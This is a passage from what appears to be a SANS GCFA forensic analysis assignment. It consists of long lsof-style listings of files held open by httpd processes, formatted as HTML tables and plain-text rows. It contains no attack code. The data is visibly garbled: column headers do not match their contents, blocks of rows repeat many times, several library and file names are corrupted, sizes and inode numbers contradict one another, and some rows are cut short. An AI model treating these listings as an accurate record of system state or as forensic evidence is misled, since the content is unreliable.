<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>42069</td>
<td>425002</td>
<td>/lib/php/ldap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>44992</td>
<td>65349</td>
<td>/lib/libc.aio.so.2.0.15</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>45415</td>
<td>65353</td>
<td>/lib/libnss_files.so.2.2.5.so</td>
</tr>
<tr>
<td>/usr/lib/libxml2.so.2.4.19</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>21012</td>
<td>130317</td>
<td></td>
</tr>
<tr>
<td>/lib/nss_so.2.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19369</td>
<td>19369</td>
<td>60</td>
<td>/usr/lib/crypt.so.2.2.5</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>19369</td>
<td>1024</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>19369</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>19369</td>
<td>36</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>19369</td>
<td>35</td>
<td>26691</td>
<td></td>
</tr>
<tr>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>19369</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0 semen</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>19369</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>:https (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>:http (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>19369</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>19369</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>19370</td>
<td>1024</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>19370</td>
<td>1024</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txt</td>
<td>TXT</td>
<td>19372</td>
<td>290169</td>
<td>131802</td>
<td>/var/sh/hhttpd</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>89547</td>
<td>63490</td>
<td>/lib/id-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9883</td>
<td>229527</td>
<td>/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8301</td>
<td>229506</td>
<td>/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>17638</td>
<td>229514</td>
<td>/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>7438</td>
<td>229513</td>
<td>/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8530</td>
<td>229515</td>
<td>/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8274</td>
<td>229505</td>
<td>/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>371</td>
<td>130311</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>101902</td>
<td>73734</td>
<td>/lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>173359</td>
<td>73732</td>
<td>/lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>23575</td>
<td>63501</td>
<td>/lib/ssl.so.0.9.6</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>30282</td>
<td>65273</td>
<td>/usr/lib/libgdbm.so.2.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>655224</td>
<td>65343</td>
<td>/lib/libdb-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>19662</td>
<td>66292</td>
<td>/lib/libm.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>141735</td>
<td>63800</td>
<td>/lib/libexpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>12102</td>
<td>65305</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>14929</td>
<td>229516</td>
<td>/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>27415</td>
<td>229519</td>
<td>/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>18365</td>
<td>229523</td>
<td>/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>19959</td>
<td>229512</td>
<td>/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>35886</td>
<td>229511</td>
<td>/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Mode</td>
<td>Flags</td>
<td>PID</td>
<td>Size</td>
<td>Address</td>
<td>Command Line</td>
</tr>
<tr>
<td>-----------</td>
<td>-------</td>
<td>------</td>
<td>-------</td>
<td>-----</td>
<td>-------</td>
<td>--------------</td>
<td>------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>27836</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>14940</td>
<td>/usr/lib/apache/mod_cgi.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>6924</td>
<td>/usr/lib/apache/mod_asis.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>15974</td>
<td>/usr/lib/apache/mod_imap.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8541</td>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8770</td>
<td>/usr/lib/apache/mod_userdir.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10176</td>
<td>/usr/lib/apache/mod_access.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>11985</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9000</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8261</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10617</td>
<td>/usr/lib/apache/mod_userdir.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>53189</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>15974</td>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10034</td>
<td>/usr/lib/apache/mod_access.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>11985</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9000</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8261</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10617</td>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>53189</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>15974</td>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10034</td>
<td>/usr/lib/apache/mod_access.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>11985</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9000</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8261</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10617</td>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>53189</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>15974</td>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10034</td>
<td>/usr/lib/apache/mod_access.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>11985</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9000</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8261</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
</tr>
<tr>
<td>Process</td>
<td>Username</td>
<td>Type</td>
<td>Flags</td>
<td>Start Time</td>
<td>PID</td>
<td>Command</td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>----------</td>
<td>------</td>
<td>-------</td>
<td>------------</td>
<td>-----</td>
<td>---------</td>
<td></td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
<td>130310</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>130315</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>130313</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
<td>229551</td>
<td>/usr/lib/apache/libphp4.so</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89424</td>
<td>63507</td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173560</td>
<td>66287</td>
<td>/usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
<td>440048</td>
<td>/usr/kerberos/lib/libk5crypto.so.3.0</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069</td>
<td>425002</td>
<td>/usr/lib/php4/ldap.so</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992</td>
<td>65349</td>
<td>/usr/lib/libldap.so.2.0.15</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>45415</td>
<td>63523</td>
<td>/usr/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
<td>130317</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1024</td>
<td>229527</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1024</td>
<td>229527</td>
<td>/usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>229530</td>
<td>/usr/lib/apache/libperl.so</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>427611</td>
<td>440053</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>48583</td>
<td>65345</td>
<td>/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>46117</td>
<td>65351</td>
<td>/lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8192</td>
<td>226693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>16</td>
<td>1729</td>
<td>44202</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd_mm.8124.sem</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd_mm.8124.sem</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>:https (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>:http (LISTEN)</td>
<td></td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd 19371</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>httpd 19372</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>httpd 19372</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>httpd 19372</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>httpd 19372</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>httpd 19372</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4  Page 163

httpd 19372 root mem REG 3,2 153026 66042 /usr/lib/libspelle.so.4.0.3
httpd 19372 root mem REG 3,2 290511 65311 /usr/lib/libcurses.so.5.2
httpd 19372 root mem REG 3,2 215482 65386 /usr/lib/libmg.so.3.2.1
httpd 19372 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 19372 root mem REG 3,2 117774 65410 /usr/lib/libcmis.so.2.6.19
httpd 19372 root mem REG 3,2 66646 65263 /usr/lib/libmod2.so.1.0.2
httpd 19372 root mem REG 3,2 189626 65384 /usr/lib/libttf.so.2.3.0
httpd 19372 root mem REG 3,2 295833 65382 /usr/lib/libfreeetype.so.6.3.0
httpd 19372 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 19372 root mem REG 3,2 79725 440048
/usr/kerberos/lib/libkrb5.so.3.1
REG 3,5 427611 440053 /usr/kerberos/lib/libk5crypto.so.3.0
REG 3,5 655224 63543 /lib/libdb4.so
REG 3,5 440048 29 /var/log/httpd/error_log
REG 3,5 45415 63523 /lib/libnss_files
REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
REG 3,2 53189 2
REG 3,2 290511 65349 /usr/lib/lib interp.so
REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
REG 3,2 19959 229522 /usr/lib/apache/mod_freeetype.so
REG 3,2 35886 229511 /usr/lib/apache/mod_indexinclude.so
REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
REG 3,2 15974 229510 /usr/lib/apache/mod᾽imap.so
REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
<table>
<thead>
<tr>
<th>Process Name</th>
<th>User</th>
<th>Group</th>
<th>Flags</th>
<th>Start Time</th>
<th>PID</th>
<th>PPID</th>
<th>Command Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19373</td>
<td></td>
<td>/usr/lib/apache/httpd</td>
</tr>
<tr>
<td>User</td>
<td>PID</td>
<td>Mode</td>
<td>UID</td>
<td>GID</td>
<td>Size (in bytes)</td>
<td>Directory</td>
<td>File</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>------</td>
<td>-----</td>
<td>-----</td>
<td>----------------</td>
<td>-----------</td>
<td>------</td>
</tr>
<tr>
<td>httpd</td>
<td>19373</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>19373</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
</tr>
<tr>
<td>httpd</td>
<td>19373</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>38183</td>
</tr>
<tr>
<td>httpd</td>
<td>19373</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>26691</td>
</tr>
<tr>
<td>httpd</td>
<td>19373</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>26693</td>
</tr>
<tr>
<td>httpd</td>
<td>19373</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202</td>
</tr>
<tr>
<td>httpd</td>
<td>19373</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>19373</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>*:http (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>19374</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>httpd</td>
<td>19374</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>httpd</td>
<td>19374</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>290169</td>
<td>131</td>
</tr>
<tr>
<td>httpd</td>
<td>19374</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9883</td>
<td>229527</td>
</tr>
<tr>
